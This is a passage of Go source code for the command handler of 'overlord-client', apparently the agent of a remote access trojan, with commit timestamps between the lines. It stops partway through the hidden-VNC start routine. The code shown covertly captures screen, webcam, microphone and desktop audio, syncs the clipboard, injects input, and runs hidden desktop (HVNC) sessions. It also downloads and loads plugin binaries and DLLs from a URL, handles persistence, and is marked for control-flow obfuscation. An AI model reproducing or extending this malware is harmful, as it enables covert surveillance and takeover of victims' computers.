2026-03-05 00:04:26 -06:00
package handlers
import (
"context"
2026-03-07 23:27:57 -06:00
"encoding/json"
2026-03-05 00:04:26 -06:00
"errors"
2026-05-15 18:29:25 -05:00
"fmt"
2026-03-05 00:04:26 -06:00
"log"
"os"
2026-03-21 17:42:31 -05:00
"os/exec"
2026-05-15 18:29:25 -05:00
"path/filepath"
2026-03-05 00:04:26 -06:00
goruntime "runtime"
"strconv"
"strings"
"sync"
2026-03-09 19:16:13 -05:00
"sync/atomic"
2026-03-05 00:04:26 -06:00
"time"
2026-03-07 23:27:57 -06:00
"overlord-client/cmd/agent/audio"
2026-03-05 00:04:26 -06:00
"overlord-client/cmd/agent/capture"
2026-04-03 10:47:05 -05:00
"overlord-client/cmd/agent/criticalproc"
2026-03-21 17:42:31 -05:00
"overlord-client/cmd/agent/filesearch"
2026-03-05 00:04:26 -06:00
"overlord-client/cmd/agent/persistence"
"overlord-client/cmd/agent/plugins"
"overlord-client/cmd/agent/runtime"
2026-06-27 16:40:54 -05:00
"overlord-client/cmd/agent/securelog"
2026-04-13 10:49:36 -05:00
"overlord-client/cmd/agent/sysinfo"
2026-05-13 20:19:21 -05:00
"overlord-client/cmd/agent/webrtcpub"
2026-03-05 00:04:26 -06:00
"overlord-client/cmd/agent/wire"
)
var ErrReconnect = errors . New ( "reconnect requested" )
var (
2026-04-16 17:19:56 -05:00
activeCommands = make ( map [ string ] context . CancelFunc )
activeCommandsMu sync . Mutex
voiceSessionMu sync . Mutex
voiceSession * voiceRuntime
desktopAudioMu sync . Mutex
desktopAudioSession * voiceRuntime
hvncInputOnce sync . Once
hvncInputQueue chan hvncInputEvent
hvncInputDropped atomic . Uint64
2026-03-05 00:04:26 -06:00
)
2026-03-09 19:16:13 -05:00
type hvncInputKind int
const (
hvncInputMouseMove hvncInputKind = iota
hvncInputMouseDown
hvncInputMouseUp
hvncInputMouseWheel
hvncInputKeyDown
hvncInputKeyUp
)
type hvncInputEvent struct {
kind hvncInputKind
display int
x int32
y int32
button int
delta int32
vk uint16
}
2026-03-07 23:27:57 -06:00
type voiceRuntime struct {
sessionID string
cancel context . CancelFunc
session * audio . Session
}
2026-03-05 00:04:26 -06:00
func cancelAllCommands () {
activeCommandsMu . Lock ()
defer activeCommandsMu . Unlock ()
for id , cancel := range activeCommands {
if cancel != nil {
cancel ()
}
delete ( activeCommands , id )
}
}
func resetForReconnect ( env * runtime . Env ) {
if env == nil {
return
}
cancelAllCommands ()
2026-04-08 14:14:09 -05:00
capture . ResetFrameSlots ()
2026-03-05 00:04:26 -06:00
env . DesktopMu . Lock ()
if env . DesktopCancel != nil {
env . DesktopCancel ()
}
waitStreamStop ( env . DesktopDone , "desktop" )
env . DesktopCancel = nil
env . DesktopDone = nil
env . MouseControl = false
env . KeyboardControl = false
env . CursorCapture = false
env . SelectedDisplay = GetPersistedDisplay ()
env . DesktopMu . Unlock ()
env . HVNCMu . Lock ()
if env . HVNCCancel != nil {
env . HVNCCancel ()
}
waitStreamStop ( env . HVNCDone , "hvnc" )
env . HVNCCancel = nil
env . HVNCDone = nil
env . HVNCMouseControl = false
env . HVNCKeyboardControl = false
env . HVNCCursorCapture = false
env . HVNCSelectedDisplay = 0
env . HVNCMu . Unlock ()
2026-03-08 22:31:11 -05:00
env . WebcamMu . Lock ()
if env . WebcamCancel != nil {
env . WebcamCancel ()
}
waitStreamStop ( env . WebcamDone , "webcam" )
env . WebcamCancel = nil
env . WebcamDone = nil
env . WebcamDeviceIndex = 0
env . WebcamFPS = 30
env . WebcamUseMaxFPS = false
env . WebcamMu . Unlock ()
2026-03-05 00:04:26 -06:00
if env . Console != nil {
env . Console . StopAll ()
}
2026-03-07 23:27:57 -06:00
stopVoiceSession ()
2026-03-15 16:14:50 -05:00
CleanupAllTunnels ()
2026-03-05 00:04:26 -06:00
env . NotificationMu . Lock ()
env . NotificationKeywords = nil
env . NotificationMinIntervalMs = 0
env . NotificationMu . Unlock ()
}
func removePersistence () error {
return persistence . Remove ()
}
func registerCancellableCommand ( cmdID string , cancel context . CancelFunc ) {
activeCommandsMu . Lock ()
defer activeCommandsMu . Unlock ()
activeCommands [ cmdID ] = cancel
}
func unregisterCommand ( cmdID string ) {
activeCommandsMu . Lock ()
defer activeCommandsMu . Unlock ()
delete ( activeCommands , cmdID )
}
func waitStreamStop ( done <- chan struct {}, name string ) {
if done == nil {
return
}
select {
case <- done :
return
case <- time . After ( 2 * time . Second ):
log . Printf ( "%s: stop timed out" , name )
}
}
2026-03-09 19:16:13 -05:00
func ensureHVNCInputWorker () {
hvncInputOnce . Do ( func () {
hvncInputQueue = make ( chan hvncInputEvent , 1024 )
goSafe ( "hvnc input worker" , nil , func () {
for ev := range hvncInputQueue {
switch ev . kind {
case hvncInputMouseMove :
if err := capture . HVNCInputMouseMove ( ev . display , ev . x , ev . y ); err != nil {
log . Printf ( "hvnc input worker: mouse_move failed: %v" , err )
}
case hvncInputMouseDown :
if ev . x != 0 || ev . y != 0 {
_ = capture . HVNCInputMouseMove ( ev . display , ev . x , ev . y )
}
if err := capture . HVNCInputMouseDown ( ev . button ); err != nil {
log . Printf ( "hvnc input worker: mouse_down failed: %v" , err )
}
case hvncInputMouseUp :
if ev . x != 0 || ev . y != 0 {
_ = capture . HVNCInputMouseMove ( ev . display , ev . x , ev . y )
}
if err := capture . HVNCInputMouseUp ( ev . button ); err != nil {
log . Printf ( "hvnc input worker: mouse_up failed: %v" , err )
}
case hvncInputMouseWheel :
if ev . x != 0 || ev . y != 0 {
_ = capture . HVNCInputMouseMove ( ev . display , ev . x , ev . y )
}
if err := capture . HVNCInputMouseWheel ( ev . delta ); err != nil {
log . Printf ( "hvnc input worker: mouse_wheel failed: %v" , err )
}
case hvncInputKeyDown :
if err := capture . HVNCInputKeyDown ( ev . vk ); err != nil {
log . Printf ( "hvnc input worker: key_down vk=%d failed: %v" , ev . vk , err )
}
case hvncInputKeyUp :
if err := capture . HVNCInputKeyUp ( ev . vk ); err != nil {
log . Printf ( "hvnc input worker: key_up vk=%d failed: %v" , ev . vk , err )
}
}
}
})
})
}
func enqueueHVNCInput ( ev hvncInputEvent ) {
ensureHVNCInputWorker ()
select {
case hvncInputQueue <- ev :
return
default :
if ev . kind == hvncInputMouseMove {
dropped := hvncInputDropped . Add ( 1 )
if dropped % 100 == 1 {
log . Printf ( "hvnc input queue: dropping mouse_move events dropped=%d" , dropped )
}
return
}
t := time . NewTimer ( 200 * time . Millisecond )
defer t . Stop ()
select {
case hvncInputQueue <- ev :
case <- t . C :
log . Printf ( "hvnc input queue: enqueue timeout kind=%d" , ev . kind )
}
}
}
func clearHVNCInputQueue () {
if hvncInputQueue == nil {
return
}
for {
select {
case <- hvncInputQueue :
default :
return
}
}
}
2026-03-05 00:04:26 -06:00
func payloadAsMap ( payload interface {}) map [ string ] interface {} {
switch v := payload .( type ) {
case map [ string ] interface {}:
return v
case map [ interface {}] interface {}:
out := make ( map [ string ] interface {}, len ( v ))
for key , val := range v {
switch ks := key .( type ) {
case string :
out [ ks ] = val
case [] byte :
out [ string ( ks )] = val
}
}
return out
default :
return nil
}
}
func payloadInt32 ( payload map [ string ] interface {}, key string ) ( int32 , bool ) {
if payload == nil {
return 0 , false
}
if v , ok := payload [ key ]; ok {
switch val := v .( type ) {
case float64 :
return int32 ( val ), true
case float32 :
return int32 ( val ), true
case int :
return int32 ( val ), true
case int8 :
return int32 ( val ), true
case int16 :
return int32 ( val ), true
case int32 :
return val , true
case int64 :
return int32 ( val ), true
case uint :
return int32 ( val ), true
case uint8 :
return int32 ( val ), true
case uint16 :
return int32 ( val ), true
case uint32 :
return int32 ( val ), true
case uint64 :
return int32 ( val ), true
}
}
return 0 , false
}
func payloadInt ( payload map [ string ] interface {}, key string ) ( int , bool ) {
if payload == nil {
return 0 , false
}
if v , ok := payload [ key ]; ok {
switch val := v .( type ) {
case float64 :
return int ( val ), true
case float32 :
return int ( val ), true
case int :
return val , true
case int8 :
return int ( val ), true
case int16 :
return int ( val ), true
case int32 :
return int ( val ), true
case int64 :
return int ( val ), true
case uint :
return int ( val ), true
case uint8 :
return int ( val ), true
case uint16 :
return int ( val ), true
case uint32 :
return int ( val ), true
case uint64 :
return int ( val ), true
}
}
return 0 , false
}
func cancelCommand ( cmdID string ) bool {
activeCommandsMu . Lock ()
defer activeCommandsMu . Unlock ()
if cancel , exists := activeCommands [ cmdID ]; exists {
cancel ()
delete ( activeCommands , cmdID )
return true
}
return false
}
func sendCommandResultSafe ( env * runtime . Env , cmdID string , ok bool , message string ) {
res := wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : ok }
if message != "" {
res . Message = message
}
if err := wire . WriteMsg ( context . Background (), env . Conn , res ); err != nil {
log . Printf ( "command_result send failed: %v" , err )
}
}
2026-04-06 18:04:45 -05:00
func sendCommandResultAsync ( env * runtime . Env , cmdID string ) {
2026-05-07 19:41:47 -05:00
go func () {
defer recoverAndLog ( "sendCommandResultAsync" , nil )
sendCommandResultSafe ( env , cmdID , true , "" )
}()
2026-04-06 18:04:45 -05:00
}
2026-03-05 00:04:26 -06:00
func payloadNumberToInt64 ( value interface {}) int64 {
switch v := value .( type ) {
case int :
return int64 ( v )
case int8 :
return int64 ( v )
case int16 :
return int64 ( v )
case int32 :
return int64 ( v )
case int64 :
return v
case uint :
return int64 ( v )
case uint8 :
return int64 ( v )
case uint16 :
return int64 ( v )
case uint32 :
return int64 ( v )
case uint64 :
return int64 ( v )
case float32 :
return int64 ( v )
case float64 :
return int64 ( v )
default :
return 0
}
}
2026-03-07 23:27:57 -06:00
func stopVoiceSession () {
voiceSessionMu . Lock ()
v := voiceSession
voiceSession = nil
voiceSessionMu . Unlock ()
if v == nil {
return
}
if v . cancel != nil {
v . cancel ()
}
if v . session != nil {
_ = v . session . Close ()
}
}
func startVoiceSession ( ctx context . Context , env * runtime . Env , sessionID string , source string ) error {
if sessionID == "" {
return errors . New ( "missing voice session id" )
}
stopVoiceSession ()
vCtx , cancel := context . WithCancel ( ctx )
session , err := audio . StartVoiceSession ( vCtx , source , func ( chunk [] byte ) {
if len ( chunk ) == 0 {
return
}
msg := map [ string ] interface {}{
"type" : "voice_uplink" ,
"sessionId" : sessionID ,
"data" : chunk ,
}
_ = wire . WriteMsg ( vCtx , env . Conn , msg )
})
if err != nil {
cancel ()
return err
}
v := & voiceRuntime { sessionID : sessionID , cancel : cancel , session : session }
voiceSessionMu . Lock ()
voiceSession = v
voiceSessionMu . Unlock ()
return nil
}
func writeVoiceDownlink ( data [] byte ) error {
voiceSessionMu . Lock ()
v := voiceSession
voiceSessionMu . Unlock ()
if v == nil || len ( data ) == 0 {
return nil
}
if v . session == nil {
return errors . New ( "voice session not ready" )
}
if err := v . session . WritePlayback ( data ); err != nil {
return err
}
return nil
}
2026-04-16 17:19:56 -05:00
func stopDesktopAudioSession () {
desktopAudioMu . Lock ()
v := desktopAudioSession
desktopAudioSession = nil
desktopAudioMu . Unlock ()
if v == nil {
return
}
if v . cancel != nil {
v . cancel ()
}
if v . session != nil {
_ = v . session . Close ()
}
}
func startDesktopAudioSession ( ctx context . Context , env * runtime . Env , sessionID string , source string ) error {
if sessionID == "" {
return errors . New ( "missing desktop audio session id" )
}
stopDesktopAudioSession ()
vCtx , cancel := context . WithCancel ( ctx )
session , err := audio . StartCaptureOnlySession ( vCtx , source , func ( chunk [] byte ) {
if len ( chunk ) == 0 {
return
}
2026-05-13 20:19:21 -05:00
// Fan to any active WebRTC audio session. No-op when nothing is
// subscribed, so the cost is just a map lookup under a read lock.
if webrtcpub . IsActive ( webrtcpub . KindAudio ) {
samples := pcm16BytesToInt16 ( chunk )
_ = webrtcpub . WriteAudio ( webrtcpub . KindAudio , samples )
}
2026-04-16 17:19:56 -05:00
msg := map [ string ] interface {}{
"type" : "desktop_audio_uplink" ,
"sessionId" : sessionID ,
"data" : chunk ,
}
_ = wire . WriteMsg ( vCtx , env . Conn , msg )
})
if err != nil {
cancel ()
return err
}
v := & voiceRuntime { sessionID : sessionID , cancel : cancel , session : session }
desktopAudioMu . Lock ()
desktopAudioSession = v
desktopAudioMu . Unlock ()
return nil
}
2026-03-11 23:11:44 -05:00
func extractDLLBytes ( payload map [ string ] interface {}) [] byte {
if payload == nil {
return nil
}
switch v := payload [ "dll" ].( type ) {
case [] byte :
return v
case string :
if len ( v ) > 0 {
return [] byte ( v )
}
}
return nil
}
2026-04-16 10:01:49 -05:00
func extractCaptureDLLBytes ( payload map [ string ] interface {}) [] byte {
if payload == nil {
return nil
}
switch v := payload [ "capture_dll" ].( type ) {
case [] byte :
return v
case string :
if len ( v ) > 0 {
return [] byte ( v )
}
}
return nil
}
2026-03-05 00:04:26 -06:00
func HandleCommand ( ctx context . Context , env * runtime . Env , envelope map [ string ] interface {}) error {
2026-04-20 13:46:59 -05:00
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
2026-03-05 00:04:26 -06:00
cmdID , _ := envelope [ "id" ].( string )
action , _ := envelope [ "commandType" ].( string )
switch action {
case "screenshot" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
allDisplays := false
if payload != nil {
if v , ok := payload [ "allDisplays" ].( bool ); ok && v {
allDisplays = true
} else if mode , ok := payload [ "mode" ].( string ); ok && mode == "notification" {
allDisplays = true
}
}
if goruntime . GOOS == "windows" {
allDisplays = true
}
return HandleScreenshot ( ctx , env , cmdID , allDisplays )
case "plugin_load" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
if payload == nil {
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : false , Message : "missing payload" })
}
manifestRaw , _ := payload [ "manifest" ].( map [ string ] interface {})
2026-03-19 16:29:26 -05:00
binaryBytes , _ := payload [ "binary" ].([] byte )
2026-03-05 00:04:26 -06:00
if env . Plugins == nil {
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : false , Message : "plugin manager not ready" })
}
manifest , err := plugins . ManifestFromMap ( manifestRaw )
if err != nil {
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : false , Message : err . Error ()})
}
2026-05-07 19:41:47 -05:00
goSafe ( "plugin load" , nil , func () {
2026-05-04 19:56:36 -05:00
if err := env . Plugins . Load ( ctx , manifest , binaryBytes ); err != nil {
_ = wire . WriteMsg ( ctx , env . Conn , wire . PluginEvent { Type : "plugin_event" , PluginID : manifest . ID , Event : "error" , Error : err . Error ()})
_ = wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : false , Message : err . Error ()})
return
}
_ = wire . WriteMsg ( ctx , env . Conn , wire . PluginEvent { Type : "plugin_event" , PluginID : manifest . ID , Event : "loaded" })
_ = wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : true })
2026-05-07 19:41:47 -05:00
})
2026-05-04 19:56:36 -05:00
return nil
2026-05-03 22:37:08 -05:00
case "plugin_load_http" :
2026-03-05 00:04:26 -06:00
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
2026-05-03 22:37:08 -05:00
if payload == nil {
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : false , Message : "missing payload" })
2026-03-05 00:04:26 -06:00
}
manifestRaw , _ := payload [ "manifest" ].( map [ string ] interface {})
manifest , err := plugins . ManifestFromMap ( manifestRaw )
if err != nil {
2026-05-03 22:37:08 -05:00
return wire . WriteMsg ( ctx , env . Conn , wire . CommandResult { Type : "command_result" , CommandID : cmdID , OK : false , Message : err . Error ()})
2026-03-05 00:04:26 -06:00
}
2026-05-03 22:37:08 -05:00
pullURL , _ := payload [ "url" ].( string )
expectedSize := int64 ( toInt ( payload [ "size" ]))
2026-05-07 19:41:47 -05:00
goSafe ( "plugin load http" , nil , func () {
HandlePluginLoadHTTP ( ctx , env , cmdID , manifest , pullURL , expectedSize )
})
2026-05-04 19:56:36 -05:00
return nil
2026-03-05 00:04:26 -06:00
case "plugin_unload" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
if payload == nil || env . Plugins == nil {
return nil
}
pluginId , _ := payload [ "pluginId" ].( string )
if pluginId == "" {
return nil
}
env . Plugins . Unload ( pluginId )
_ = wire . WriteMsg ( ctx , env . Conn , wire . PluginEvent { Type : "plugin_event" , PluginID : pluginId , Event : "unloaded" })
return nil
2026-05-13 13:44:33 -05:00
case "webrtc_publish" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
if payload == nil {
sendCommandResultSafe ( env , cmdID , false , "missing payload" )
return nil
}
return handleWebrtcPublish ( ctx , env , cmdID , payload )
case "webrtc_stop" :
2026-05-13 20:19:21 -05:00
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
return handleWebrtcStop ( ctx , env , cmdID , payload )
2026-05-13 13:44:33 -05:00
case "webrtc_p2p_offer" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
if payload == nil {
sendCommandResultSafe ( env , cmdID , false , "missing payload" )
return nil
}
return handleWebrtcP2POffer ( ctx , env , cmdID , payload )
case "webrtc_p2p_ice" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
if payload == nil {
return nil
}
return handleWebrtcP2PIce ( ctx , env , cmdID , payload )
case "webrtc_p2p_stop" :
2026-05-13 20:19:21 -05:00
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
return handleWebrtcP2PStop ( ctx , env , cmdID , payload )
2026-03-05 00:04:26 -06:00
case "desktop_start" :
2026-04-13 10:49:36 -05:00
if goruntime . GOOS == "darwin" {
perms := sysinfo . DarwinPermissions ()
var missing [] string
if ! perms [ "screenRecording" ] {
missing = append ( missing , "screenRecording" )
}
if ! perms [ "accessibility" ] {
missing = append ( missing , "accessibility" )
}
if len ( missing ) > 0 {
log . Printf ( "desktop: macOS missing permissions: %v" , missing )
detail , _ := json . Marshal ( map [ string ] interface {}{
"reason" : "permissions_denied" ,
"missing" : missing ,
"permissions" : perms ,
})
sendCommandResultSafe ( env , cmdID , false , string ( detail ))
return nil
}
}
2026-03-05 00:04:26 -06:00
env . DesktopMu . Lock ()
if env . DesktopCancel != nil {
env . DesktopCancel ()
waitStreamStop ( env . DesktopDone , "desktop" )
}
desktopCtx , cancel := context . WithCancel ( ctx )
env . DesktopCancel = cancel
done := make ( chan struct {})
env . DesktopDone = done
goSafe ( "desktop stream" , env . Cancel , func () {
log . Printf ( "desktop: start requested" )
_ = DesktopStart ( desktopCtx , env )
close ( done )
})
env . DesktopMu . Unlock ()
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
case "desktop_stop" :
env . DesktopMu . Lock ()
log . Printf ( "desktop: stop requested" )
if env . DesktopCancel != nil {
env . DesktopCancel ()
}
waitStreamStop ( env . DesktopDone , "desktop" )
env . DesktopCancel = nil
env . DesktopDone = nil
env . DesktopMu . Unlock ()
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
case "desktop_select_display" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
disp := 0
if payload != nil {
displayVal := payload [ "display" ]
if v , ok := displayVal .( int8 ); ok {
disp = int ( v )
} else if v , ok := displayVal .( int16 ); ok {
disp = int ( v )
} else if v , ok := displayVal .( int32 ); ok {
disp = int ( v )
} else if v , ok := displayVal .( int64 ); ok {
disp = int ( v )
} else if v , ok := displayVal .( int ); ok {
disp = v
} else if v , ok := displayVal .( uint8 ); ok {
disp = int ( v )
} else if v , ok := displayVal .( float64 ); ok {
disp = int ( v )
}
}
log . Printf ( "desktop: select display %d" , disp )
_ = DesktopSelect ( ctx , env , disp )
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
case "desktop_enable_mouse" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
enabled := true
if payload != nil {
if v , ok := payload [ "enabled" ].( bool ); ok {
enabled = v
}
}
log . Printf ( "desktop: mouse control %v" , enabled )
_ = DesktopMouseControl ( ctx , env , enabled )
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
case "desktop_enable_keyboard" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
enabled := true
if payload != nil {
if v , ok := payload [ "enabled" ].( bool ); ok {
enabled = v
}
}
log . Printf ( "desktop: keyboard control %v" , enabled )
_ = DesktopKeyboardControl ( ctx , env , enabled )
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
case "desktop_enable_cursor" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
enabled := false
if payload != nil {
if v , ok := payload [ "enabled" ].( bool ); ok {
enabled = v
}
}
log . Printf ( "desktop: cursor capture %v" , enabled )
_ = DesktopCursorControl ( ctx , env , enabled )
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
case "desktop_set_duplication" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
enabled := false
if payload != nil {
if v , ok := payload [ "enabled" ].( bool ); ok {
enabled = v
}
}
log . Printf ( "desktop: duplication capture %v" , enabled )
_ = DesktopDuplicationControl ( ctx , env , enabled )
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
case "desktop_set_quality" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
quality := 90
codec := ""
2026-07-06 14:00:34 -05:00
softwareH264 := false
2026-03-06 13:48:47 -06:00
reason := ""
source := ""
2026-03-05 00:04:26 -06:00
if payload != nil {
if q , ok := payloadInt ( payload , "quality" ); ok {
quality = q
}
if v , ok := payload [ "codec" ].( string ); ok {
codec = v
}
2026-07-06 14:00:34 -05:00
if v , ok := payload [ "softwareH264" ].( bool ); ok {
softwareH264 = v
}
2026-03-06 13:48:47 -06:00
if v , ok := payload [ "reason" ].( string ); ok {
reason = strings . TrimSpace ( v )
}
if v , ok := payload [ "source" ].( string ); ok {
source = strings . TrimSpace ( v )
}
}
2026-07-06 14:00:34 -05:00
softwareH264 = softwareH264 && strings . EqualFold ( strings . TrimSpace ( codec ), "h264" )
2026-03-06 13:48:47 -06:00
if source != "" || reason != "" {
2026-07-06 14:00:34 -05:00
log . Printf ( "desktop: set quality=%d codec=%s software_h264=%v source=%s reason=%s" , quality , codec , softwareH264 , source , reason )
2026-03-06 13:48:47 -06:00
} else {
2026-07-06 14:00:34 -05:00
log . Printf ( "desktop: set quality=%d codec=%s software_h264=%v" , quality , codec , softwareH264 )
2026-03-05 00:04:26 -06:00
}
2026-07-06 14:00:34 -05:00
capture . SetDesktopSoftwareH264 ( softwareH264 )
2026-03-05 00:04:26 -06:00
capture . SetQualityAndCodec ( quality , codec )
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
2026-06-02 17:18:46 -05:00
case "desktop_request_keyframe" :
2026-06-23 23:04:01 -05:00
log . Printf ( "desktop: request full frame" )
capture . RequestDesktopFullFrame ()
2026-06-02 17:18:46 -05:00
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
2026-03-17 14:40:41 -05:00
case "desktop_set_resolution" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
maxH := 0 // default = 1080p cap
if payload != nil {
if v , ok := payloadInt ( payload , "maxHeight" ); ok {
maxH = v
}
}
log . Printf ( "desktop: set max resolution height=%d" , maxH )
capture . SetMaxResolution ( maxH )
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
2026-06-06 16:08:28 -05:00
case "desktop_set_fps" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
fps := 120
if payload != nil {
if v , ok := payloadInt ( payload , "fps" ); ok {
fps = v
}
}
fps = SetDesktopTargetFPS ( fps )
log . Printf ( "desktop: set target fps=%d" , fps )
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
2026-03-28 21:58:16 -05:00
case "clipboard_sync_start" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
source := "rd"
if payload != nil {
if v , ok := payload [ "source" ].( string ); ok && v != "" {
source = v
}
}
env . ClipboardSyncMu . Lock ()
if env . ClipboardSyncCancel != nil {
env . ClipboardSyncCancel ()
if env . ClipboardSyncDone != nil {
<- env . ClipboardSyncDone
}
}
syncCtx , syncCancel := context . WithCancel ( ctx )
env . ClipboardSyncCancel = syncCancel
env . ClipboardSyncSource = source
done := make ( chan struct {})
env . ClipboardSyncDone = done
goSafe ( "clipboard_sync" , env . Cancel , func () {
ClipboardSyncStart ( syncCtx , env , source )
close ( done )
})
env . ClipboardSyncMu . Unlock ()
log . Printf ( "clipboard_sync: start (%s)" , source )
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
case "clipboard_sync_stop" :
env . ClipboardSyncMu . Lock ()
if env . ClipboardSyncCancel != nil {
env . ClipboardSyncCancel ()
if env . ClipboardSyncDone != nil {
<- env . ClipboardSyncDone
}
env . ClipboardSyncCancel = nil
env . ClipboardSyncDone = nil
}
env . ClipboardSyncMu . Unlock ()
log . Printf ( "clipboard_sync: stop" )
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
case "clipboard_set" :
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
text := ""
if payload != nil {
if v , ok := payload [ "text" ].( string ); ok {
text = v
}
}
ClipboardSyncSet ( text )
sendCommandResultSafe ( env , cmdID , true , "" )
return nil
2026-03-05 00:04:26 -06:00
case "desktop_mouse_move" :
if ! env . MouseControl {
2026-04-06 18:04:45 -05:00
sendCommandResultAsync ( env , cmdID )
2026-03-05 00:04:26 -06:00
return nil
}
payload := payloadAsMap ( envelope [ "payload" ])
x , _ := payloadInt32 ( payload , "x" )
y , _ := payloadInt32 ( payload , "y" )
absX , absY := resolveDesktopPoint ( env . SelectedDisplay , x , y )
setCursorPos ( absX , absY )
2026-04-06 18:04:45 -05:00
sendCommandResultAsync ( env , cmdID )
2026-03-05 00:04:26 -06:00
return nil
case "desktop_mouse_down" :
if ! env . MouseControl {
2026-04-06 18:04:45 -05:00
sendCommandResultAsync ( env , cmdID )
2026-03-05 00:04:26 -06:00
return nil
}
payload := payloadAsMap ( envelope [ "payload" ])
btn , _ := payloadInt ( payload , "button" )
if x , okX := payloadInt32 ( payload , "x" ); okX {
if y , okY := payloadInt32 ( payload , "y" ); okY {
absX , absY := resolveDesktopPoint ( env . SelectedDisplay , x , y )
setCursorPos ( absX , absY )
}
}
sendMouseDown ( btn )
2026-04-06 18:04:45 -05:00
sendCommandResultAsync ( env , cmdID )
2026-03-05 00:04:26 -06:00
return nil
case "desktop_mouse_up" :
if ! env . MouseControl {
2026-04-06 18:04:45 -05:00
sendCommandResultAsync ( env , cmdID )
2026-03-05 00:04:26 -06:00
return nil
}
payload := payloadAsMap ( envelope [ "payload" ])
btn , _ := payloadInt ( payload , "button" )
if x , okX := payloadInt32 ( payload , "x" ); okX {
if y , okY := payloadInt32 ( payload , "y" ); okY {
absX , absY := resolveDesktopPoint ( env . SelectedDisplay , x , y )
setCursorPos ( absX , absY )
}
}
sendMouseUp ( btn )
2026-04-06 18:04:45 -05:00
sendCommandResultAsync ( env , cmdID )
2026-03-05 00:04:26 -06:00
return nil
2026-04-22 16:15:53 -05:00
case "desktop_mouse_wheel" :
if ! env . MouseControl {
sendCommandResultAsync ( env , cmdID )
return nil
}
payload := payloadAsMap ( envelope [ "payload" ])
delta , _ := payloadInt32 ( payload , "delta" )
if x , okX := payloadInt32 ( payload , "x" ); okX {
if y , okY := payloadInt32 ( payload , "y" ); okY {
absX , absY := resolveDesktopPoint ( env . SelectedDisplay , x , y )
setCursorPos ( absX , absY )
}
}
sendMouseWheel ( delta )
sendCommandResultAsync ( env , cmdID )
return nil
2026-03-05 00:04:26 -06:00
case "desktop_key_down" :
if ! env . KeyboardControl {
2026-04-06 18:04:45 -05:00
sendCommandResultAsync ( env , cmdID )
2026-03-05 00:04:26 -06:00
return nil
}
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
code := ""
if payload != nil {
if v , ok := payload [ "code" ].( string ); ok {
code = v
}
}
if vk := keyCodeToVK ( code ); vk != 0 {
sendKeyDown ( vk )
}
2026-04-06 18:04:45 -05:00
sendCommandResultAsync ( env , cmdID )
2026-03-05 00:04:26 -06:00
return nil
case "desktop_key_up" :
if ! env . KeyboardControl {
2026-04-06 18:04:45 -05:00
sendCommandResultAsync ( env , cmdID )
2026-03-05 00:04:26 -06:00
return nil
}
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
code := ""
if payload != nil {
if v , ok := payload [ "code" ].( string ); ok {
code = v
}
}
if vk := keyCodeToVK ( code ); vk != 0 {
sendKeyUp ( vk )
}
2026-04-06 18:04:45 -05:00
sendCommandResultAsync ( env , cmdID )
2026-03-05 00:04:26 -06:00
return nil
case "desktop_text" :
if ! env . KeyboardControl {
2026-04-06 18:04:45 -05:00
sendCommandResultAsync ( env , cmdID )
2026-03-05 00:04:26 -06:00
return nil
}
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
text := ""
if payload != nil {
if v , ok := payload [ "text" ].( string ); ok {
text = v
}
}
if text != "" {
sendTextInput ( text )
}
2026-04-06 18:04:45 -05:00
sendCommandResultAsync ( env , cmdID )
2026-03-05 00:04:26 -06:00
return nil
// ==================== HVNC COMMANDS ====================
case "hvnc_start" :
2026-03-17 00:31:28 -05:00
payload , _ := envelope [ "payload" ].( map [ string ] interface {})
autoStartExplorer := false
if payload != nil {
if v , ok := payload [ "autoStartExplorer" ].( bool ); ok {
autoStartExplorer = v
}
}
2026-03-05 00:04:26 -06:00
env . HVNCMu . Lock ()
if env . HVNCCancel != nil {
env . HVNCCancel ()
waitStreamStop ( env . HVNCDone , "hvnc" )
}
hvncCtx , cancel := context . WithCancel ( ctx )
env . HVNCCancel = cancel
done := make ( chan struct {})
env . HVNCDone = done
goSafe ( "hvnc stream" , env . Cancel , func () {
2026-03-17 00:31:28 -05:00
